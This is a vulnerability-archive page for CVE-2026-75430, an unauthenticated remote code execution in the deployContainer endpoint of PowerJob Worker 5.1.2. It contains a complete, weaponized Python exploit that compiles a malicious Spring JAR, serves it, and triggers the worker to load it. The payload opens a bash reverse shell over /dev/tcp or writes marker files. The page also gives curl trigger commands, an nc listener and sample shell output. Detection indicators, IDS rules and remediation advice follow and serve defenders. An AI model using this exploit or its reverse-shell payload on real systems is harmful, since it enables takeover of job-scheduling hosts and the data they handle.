PoC Archive PoC Archive
CVE-2026-75430 category: web CVSS 9.8 (CRITICAL)
Unpatched

PowerJob Worker Unauthenticated RCE via /worker/deployContainer (CVE-2026-75430)

Published: 2026-11-25 • Researcher: unpredictable21 (public PoC repository); Yujie He (original discoverer); PowerJob project (SECURITY.md disclosure channel)

Target software PowerJob Worker (powerjob-worker / powerjob-worker-samples), worker HTTP transport layer
Affected versions 5.1.2 and likely earlier versions (per the CVE record and the discoverer). The supplied NVD data has no structured product or version-range enumeration, so treat 5.1.2 as the confirmed affected release. Confirmed by the discoverer on PowerJob 5.1.2 under JDK 8 and JDK 21.
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-75430
Category
web
Affected product
PowerJob Worker (powerjob-worker / powerjob-worker-samples), worker HTTP transport layer
Affected versions
5.1.2 and likely earlier versions (per the CVE record and the discoverer). The supplied NVD data has no structured product or version-range enumeration, so treat 5.1.2 as the confirmed affected release. Confirmed by the discoverer on PowerJob 5.1.2 under JDK 8 and JDK 21.
Disclosed
2026-11-25
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-08-10
Author / Researcherunpredictable21 (public PoC repository); Yujie He (original discoverer); PowerJob project (SECURITY.md disclosure channel)
CVE / AdvisoryCVE-2026-75430
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
TagsRCE, unauthenticated, PowerJob, Java, Spring, malicious-JAR, CWE-306, reverse-shell, worker-node, URLClassLoader
RelatedN/A

Affected Target

FieldValue
Software / SystemPowerJob Worker (powerjob-worker / powerjob-worker-samples), worker HTTP transport layer
Versions Affected5.1.2 and likely earlier versions (per the CVE record and the discoverer). The supplied NVD data has no structured product or version-range enumeration, so treat 5.1.2 as the confirmed affected release. Confirmed by the discoverer on PowerJob 5.1.2 under JDK 8 and JDK 21.
Language / PlatformJava (JDK 8 and JDK 21 verified); Spring; Linux / Docker deployment; worker HTTP transport port 27777
Authentication RequiredNo
Network Access RequiredYes

Summary

PowerJob Worker 5.1.2 exposes the deployContainer handler on its HTTP transport port 27777 without any authentication. A remote attacker who can reach that port submits a JSON request containing an arbitrary download URL, and the worker downloads the referenced JAR and loads it through a Spring application context, executing attacker code inside the worker process. The public PoC builds a malicious JAR, hosts it over HTTP, and triggers the endpoint, yielding remote code execution on the worker node with the privileges of the worker runtime. The default PowerJob docker-compose deployment publishes port 27777 on the host, so the endpoint is commonly reachable from outside the container network.

Vulnerability Details

Root Cause

The worker-to-server transport layer has no token, signature, or mutual authentication, and the worker actor that handles deployContainer does not check who is calling it. The handler accepts a ServerDeployContainerRequest containing an attacker-controlled download URL; OmsContainerFactory.deployContainer then calls FileUtils.copyURLToFile on that URL to write a JAR into the worker’s container directory and immediately initializes it. OmsJarContainer.init() loads the class through OhMyClassLoader (a URLClassLoader wrapper) and refreshes a Spring ClassPathXmlApplicationContext built from the JAR’s oms-worker-container-spring-context.xml. Because loadClass alone does not run static initializers, the actual execution point is the Spring init-method declared for the bean in that XML, which Spring invokes during refresh(). NVD classifies the flaw as CWE-306 (Missing Authentication for Critical Function); the upstream write-up additionally maps it to CWE-94 and CWE-502.

Attack Vector

A single unauthenticated HTTP POST to /worker/deployContainer on the worker transport port 27777. The JSON body supplies containerId, containerName, version, and downloadURL pointing at an attacker-hosted JAR; the worker itself performs the outbound fetch and then loads and initializes the JAR. The worker must be running and listening on 27777, which requires its application to be registered on the PowerJob server (the worker exits at startup otherwise); in any deployment actually scheduling jobs that precondition is already satisfied. The upstream lab skips the registration check with the powerjob.worker.allow-lazy-connect-server flag.

Impact

Arbitrary code execution with the privileges of the PowerJob worker process on the worker host. That yields full control of the worker node, access to job parameters, code and results handled by that worker, and a pivot toward business systems that consume worker output. Because the deployContainer handler returns void, the HTTP response carries no command output, so the practical exploitation technique is a reverse shell (or a file-marker check on the worker host). Upstream verified the reverse shell end to end; a screenshot is in the source repository.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker or bare metal); upstream lab used Ubuntu-class host
Target:      PowerJob Worker 5.1.2 (powerjob-worker-samples), HTTP transport on 27777
Attacker:    Python 3 with the requests module; JDK 8+ (javac, jar); nc listener
Tools:       python3, javac, jar, nc, python3 -m http.server, curl
Network:     Attacker must be able to reach worker:27777; worker must be able to
             reach the attacker's HTTP server to fetch the malicious JAR

Setup Steps

Shell script
1
2
3
4
5
6
docker compose up -d
docker compose ps          # confirm the worker container is up
nc -zv 127.0.0.1 27777     # confirm the transport port is listening

java -jar powerjob-worker-samples-5.1.2.jar \
  --powerjob.worker.allow-lazy-connect-server=true

The discoverer confirmed the vulnerability on PowerJob 5.1.2 with both JDK 8 and JDK 21. The lazy-connect flag only changes whether the worker comes online; it does not add authentication to port 27777.

Proof of Concept

Step-by-Step Reproduction

  1. Start a listener — the handler has no output echo, so a reverse shell is the primary way to observe execution.

    Shell script
    1
    
    nc -lvnp 7878
  2. Build the malicious JAR — the archive script does this automatically with --build-and-serve: it compiles com/evil/Exploit.class (run() executes /bin/bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"), adds oms-worker-container.properties with PACKAGE_NAME=com.evil, and adds oms-worker-container-spring-context.xml declaring <bean id="evil" class="com.evil.Exploit" init-method="run"/>.

  3. Host the JAR — serve the build directory over HTTP so the worker can fetch it:

    Shell script
    1
    
    python3 -m http.server 8000
  4. Trigger the endpoint — one unauthenticated POST, no credentials and no session:

    Shell script
    1
    2
    3
    
    curl -s http://192.168.49.128:27777/worker/deployContainer \
      -H 'Content-Type: application/json' \
      -d '{"containerId":3,"containerName":"evil","version":"3","downloadURL":"http://192.168.3.17:8000/evil.jar"}'
  5. Observe execution — the worker downloads the JAR, OmsJarContainer.init() refreshes the Spring context, the bean init-method runs, and the reverse shell connects back to the listener. Because the handler returns void the HTTP body is empty; that is expected, not a failure.

  6. One-shot variant — the script can build, serve and trigger in one command, using a unique containerId/version so repeated runs are not skipped by the “version already deployed” guard:

    Shell script
    1
    2
    3
    
    python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 \
      http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 \
      --reverse-shell 192.168.3.17:7878

    A non-interactive marker variant is also available (no --reverse-shell): the payload writes /tmp/pj09_pwned, /tmp/pj09_id and /tmp/pj09_whoami on the worker host for local verification.

Exploit Code

See powerjob_worker_deploycontainer_rce.py in this folder (upstream filename preserved). The upstream walkthrough and JAR layout are in upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import requests

WORKER = "http://192.168.49.128:27777"
r = requests.post(
    f"{WORKER}/worker/deployContainer",
    json={
        "containerId": 3,
        "containerName": "evil",
        "version": "3",
        "downloadURL": "http://192.168.3.17:8000/evil.jar",
    },
    timeout=30,
)
print(r.status_code, repr(r.text))   # 200 with an empty body; no command output

The JAR must contain three entries: com/evil/Exploit.class with a public init-method (e.g. run()), oms-worker-container.properties with PACKAGE_NAME=com.evil, and oms-worker-container-spring-context.xml with <bean id="evil" class="com.evil.Exploit" init-method="run"/>. Static initializers do not run because OhMyClassLoader only calls loadClass; the Spring init-method is what executes.

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[*] reverse shell payload -> 192.168.3.17:7878
    (listen first:  nc -lvnp 7878)
[*] evil jar written: /path/evil.jar (reverse shell -> 192.168.3.17:7878)
[*] serving /path on http://0.0.0.0:8000
[*] POST http://192.168.49.128:27777/worker/deployContainer
[*] body: {'containerId': ..., 'containerName': 'evil', 'version': '...', 'downloadURL': 'http://192.168.3.17:8000/evil.jar'}
[*] HTTP 200
[*] check /tmp/pj09_pwned etc. on the worker host for command-execution evidence.

connect to 192.168.3.17 from 192.168.49.128:xxxxx
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
<worker-user>@<worker-host>:~$ id
uid=1000(<worker-user>) gid=1000(<worker-user>) groups=1000(<worker-user>)

The exact user and prompt depend on how the worker is launched (bare metal user or the user inside the worker container). The 200 response with an empty body is the documented normal behavior.

Detection & Indicators of Compromise

  • HTTP POST requests to /worker/deployContainer on port 27777, especially from hosts that are not the PowerJob server, with a JSON body containing downloadURL, containerId, containerName and version.
  • Worker-side outbound HTTP GETs for .jar files to external or unexpected hosts, and outbound connections from the worker host to unusual ports shortly after a deployContainer request (reverse shell callback).
  • Worker log entries around OmsContainerFactory, OhMyClassLoader, OmsJarContainer or ClassPathXmlApplicationContext refresh, including bean instantiation or context startup errors for unknown container names.
  • New or unexpected JAR files and container directories written by the worker process under its container/temp directories.
  • Marker artifacts from the public PoC: /tmp/pj09_pwned, /tmp/pj09_id, /tmp/pj09_whoami on the worker host.
  • Unexpected containerId/version values in worker or server records that do not correspond to a scheduled job deployment (the public script derives both from the current epoch time), and container names such as “evil”.
  • Shell processes spawned by the worker Java process (/bin/bash -c ... /dev/tcp/...), or the worker process making DNS/HTTP egress it normally would not.

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2026-75430 PowerJob worker deployContainer unauthenticated JAR load"; \
  content:"/worker/deployContainer"; http_uri; \
  content:"downloadURL"; http_client_body; sid:9002613;)

alert http any any -> any any (msg:"CVE-2026-75430 PowerJob worker fetching remote JAR"; \
  content:".jar"; http_uri; \
  flow:to_server; sid:9002614;)

Remediation

ActionDetail
PatchNo fixed release is identified in the supplied CVE data; PowerJob 5.1.2 (and likely earlier) is affected. Track the PowerJob SECURITY.md channel and vendor advisories, and upgrade as soon as a fixed version is published, then restart every worker.
WorkaroundDo not expose port 27777 to untrusted networks: remove the host port publish from docker-compose, firewall the transport port to the PowerJob server only, or place an authenticating proxy in front of it. Block worker egress to arbitrary internet hosts if the deployment does not need it.
Config HardeningAdd mutual authentication (token/signature) to the worker-server transport and have deployContainer accept only trusted-server calls; restrict downloadURL to an allowlist of internal artifact hosts and verify JAR hash or signature before loading; run the worker as a non-root user under a container with a read-only base and a dedicated writable container directory; segment the worker network and monitor deployContainer use.

References

Notes

Auto-ingested from https://github.com/unpredictable21/CVE-2026-75430_PowerJob_worker_deployContainer_RCE on 2026-11-25.

Review verdict: this is a real exploit PoC, not a detector, scanner or audit tool. The single Python file builds the malicious Spring JAR, hosts it, and sends the unauthenticated deployContainer request, with an optional reverse shell; the upstream README documents a verified end-to-end RCE on PowerJob 5.1.2 (screenshot and local reproduction). It was therefore ingested with Status Weaponized.

Licence status: the repository has no LICENSE file (only README.md and the script), so there is no explicit licence grant. The two files are archived unmodified apart from a two-line authorized-research header on the script, with attribution to the upstream owner for research use only. Upstream PowerJob code referenced in the links remains under its own licence.

Limitations, stated honestly: the worker must already be running and listening on 27777, which requires its application to be registered on the PowerJob server; a strictly fresh docker-compose with no console setup is not exploitable until the worker comes online (the upstream lab uses the lazy-connect flag). The handler returns void, so there is no command output echo and a reverse shell or host-side marker file is required to confirm execution. The exploit needs javac/jar on the attacker side and worker egress to the attacker HTTP server. The archive copy was not executed during ingestion; use only against systems you own or are explicitly authorized to test.

powerjob_worker_deploycontainer_rce.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/unpredictable21/CVE-2026-75430_PowerJob_worker_deployContainer_RCE (see README for attribution/license)
"""PowerJob 5.1.2 — pre-auth Worker RCE via /worker/deployContainer (finding PJ-09, CRITICAL).

Root cause:
  - powerjob-worker/.../actors/WorkerActor.java:32-35 exposes @Handler(path="deployContainer") with
    NO authentication on the worker transport port (HTTP 27777, published by default docker-compose).
  - OmsContainerFactory.deployContainer (OmsContainerFactory.java:97) downloads an arbitrary JAR from
    request.downloadURL, then OmsJarContainer.init() loads it via OhMyClassLoader and calls
    ClassPathXmlApplicationContext.refresh().
  - IMPORTANT: OhMyClassLoader.load() only calls loadClass() — static initializers DO NOT run.
    Code execution happens in the Spring init-method invoked by context.refresh(). So the evil JAR
    must contain oms-worker-container-spring-context.xml with <bean init-method="..."/>.

Usage:
  python3 powerjob_worker_deploycontainer_rce.py <worker:27777> <jar_url>
  e.g. python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.49.128:8000/evil.jar

  Build & host the evil jar (this script can do it with --build-and-serve):
  python3 powerjob_worker_deploycontainer_rce.py <worker> <jar_url> --build-and-serve <bind_ip> <port>

  Proxy (route the deployContainer request through an HTTP proxy):
  python3 powerjob_worker_deploycontainer_rce.py <worker> <jar_url> -p 127.0.0.1:8080
"""
import argparse
import base64
import os
import subprocess
import sys
import tempfile
import threading

JAR_PROPERTIES = "PACKAGE_NAME=com.evil"
JAR_XML = """<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="com.evil.Exploit" init-method="run"/>
</beans>
"""

def java_source(revshell=None):
    """Java source for the init-method payload.

    Note: the deployContainer HTTP response is EMPTY (handler returns void) — there is NO command
    output echo back to the attacker. So for interactive access use a reverse shell (revshell).
    """
    if revshell:
        lhost, lport = revshell
        # /bin/bash parses /dev/tcp (bash extension); /bin/sh=dash does NOT
        cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    else:
        cmd = "echo PJ09_PWNED > /tmp/pj09_pwned; id > /tmp/pj09_id; whoami > /tmp/pj09_whoami"
    cmd = cmd.replace("\\", "\\\\").replace('"', '\\"')
    return f"""package com.evil;
public class Exploit {{
    public Exploit() {{}}
    public void run() {{
        try {{
            Runtime.getRuntime().exec(new String[]{{"/bin/bash", "-c", "{cmd}"}});
        }} catch (Throwable t) {{}}
    }}
}}
"""

def _compile(src, classes):
    """Compile with javac, compatible with JDK 8 (no --release) and JDK 9+."""
    # JDK 9+ : --release 8 (clean bytecode)
    try:
        subprocess.run(["javac", "--release", "8", "-d", classes, src],
                       check=True, capture_output=True)
        return
    except subprocess.CalledProcessError:
        pass  # --release unsupported (JDK 8) -> fall through to -source/-target
    # JDK 8 fallback (also surfaces any real compile error, since it will fail here too)
    subprocess.run(["javac", "-source", "8", "-target", "8", "-d", classes, src], check=True)

def build_evil_jar(out_jar, revshell=None):
    tmp = tempfile.mkdtemp(prefix="pj09")
    srcdir = os.path.join(tmp, "src", "com", "evil")
    os.makedirs(srcdir)
    src = os.path.join(srcdir, "Exploit.java")
    with open(src, "w") as f:
        f.write(java_source(revshell))
    classes = os.path.join(tmp, "classes")
    os.makedirs(classes)
    _compile(src, classes)
    with open(os.path.join(classes, "oms-worker-container.properties"), "w") as f:
        f.write(JAR_PROPERTIES)
    with open(os.path.join(classes, "oms-worker-container-spring-context.xml"), "w") as f:
        f.write(JAR_XML)
    subprocess.run(["jar", "cf", out_jar, "com/evil/Exploit.class",
                    "oms-worker-container.properties", "oms-worker-container-spring-context.xml"],
                   cwd=classes, check=True)
    print(f"[*] evil jar written: {out_jar}" + (f" (reverse shell -> {revshell[0]}:{revshell[1]})" if revshell else ""))
    return out_jar

def serve_dir(dirpath, host, port):
    import http.server
    os.chdir(dirpath)
    handler = http.server.SimpleHTTPRequestHandler
    httpd = http.server.ThreadingHTTPServer((host, port), handler)
    threading.Thread(target=httpd.serve_forever, daemon=True).start()
    print(f"[*] serving {dirpath} on http://{host}:{port}")

def main():
    ap = argparse.ArgumentParser(description="PowerJob pre-auth Worker RCE via deployContainer (PJ-09)")
    ap.add_argument("worker", help="worker transport address, e.g. 192.168.49.128:27777")
    ap.add_argument("jar_url", help="attacker URL hosting the malicious JAR, e.g. http://192.168.49.128:8000/evil.jar")
    ap.add_argument("--build-and-serve", nargs=2, metavar=("BIND_IP", "PORT"),
                    help="build a fresh evil jar and host it on this address before attacking")
    ap.add_argument("-p", "--proxy", dest="proxy", metavar="http://host:port", default=None,
                    help="HTTP proxy, e.g. -p 127.0.0.1:8080")
    ap.add_argument("--reverse-shell", dest="revshell", metavar="LHOST:LPORT",
                    help="build the evil jar to spawn a bash reverse shell to LHOST:LPORT "
                         "(needed because deployContainer has NO output echo)")
    args = ap.parse_args()

    revshell = None
    if args.revshell:
        lhost, _, lport = args.revshell.partition(":")
        revshell = (lhost, lport)
        print(f"[*] reverse shell payload -> {lhost}:{lport}")
        print(f"    (listen first:  nc -lvnp {lport})")

    if args.build_and_serve:
        bind_ip, port = args.build_and_serve[0], int(args.build_and_serve[1])
        # 生成到运行根目录(脚本被调用时的当前目录),HTTP 服务指向同一目录,保证 Worker 能拉到 evil.jar
        jar_dir = os.getcwd()
        jar = os.path.join(jar_dir, "evil.jar")
        build_evil_jar(jar, revshell)
        serve_dir(jar_dir, bind_ip, port)

    import requests
    import time
    proxies = None
    if args.proxy:
        if not args.proxy.startswith(("http://", "https://")):
            args.proxy = "http://" + args.proxy
        proxies = {"http": args.proxy, "https": args.proxy}
        print(f"[*] proxy: {args.proxy}")
    # unique containerId/version so repeated runs are not skipped by the
    # "version already deployed" guard in OmsContainerFactory.deployContainer
    cid = int(time.time()) % 1000000
    ver = str(time.time()).replace(".", "")
    body = {"containerId": cid, "containerName": "evil", "version": ver, "downloadURL": args.jar_url}
    url = f"http://{args.worker}/worker/deployContainer"
    print(f"[*] POST {url}")
    print(f"[*] body: {body}")
    r = requests.post(url, json=body, timeout=30, proxies=proxies)
    print(f"[*] HTTP {r.status_code}")
    print("[*] check /tmp/pj09_pwned etc. on the worker host for command-execution evidence.")

if __name__ == "__main__":
    main()